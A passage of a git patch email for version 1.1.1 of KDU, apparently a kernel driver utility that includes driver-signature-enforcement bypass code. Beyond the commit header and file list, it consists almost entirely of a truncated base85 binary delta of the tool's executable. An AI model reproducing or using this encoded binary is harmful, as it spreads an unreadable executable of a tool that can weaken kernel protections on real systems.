From 570b2a1c4b5f06da038ad3b5fba07fd0ebc4a12f Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Sun, 16 May 2021 09:43:48 +0700 Subject: [PATCH] v 1.1.1 Fix #6 --- Bin/kdu.exe | Bin 214528 -> 216064 bytes KDU.sha256 | 18 +- Source/Hamakaze/KDU.vcxproj | 2 +- Source/Hamakaze/KDU.vcxproj.user | 2 +- Source/Hamakaze/consts.h | 8 +- Source/Hamakaze/dsefix.cpp | 500 +++++++++++++++++++++---------- Source/Hamakaze/main.cpp | 26 +- Source/Hamakaze/sup.cpp | 167 ++++++++++- Source/Hamakaze/sup.h | 19 +- Source/Hamakaze/tests.cpp | 4 +- 10 files changed, 562 insertions(+), 184 deletions(-) diff --git a/Bin/kdu.exe b/Bin/kdu.exe index 96bf06d1de5d697383b0c902fa8ab57ca2e9ab21..dae2e1fc1e57bb564622a8f219b5a6e9a2f3a423 100644 GIT binary patch delta 47905 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 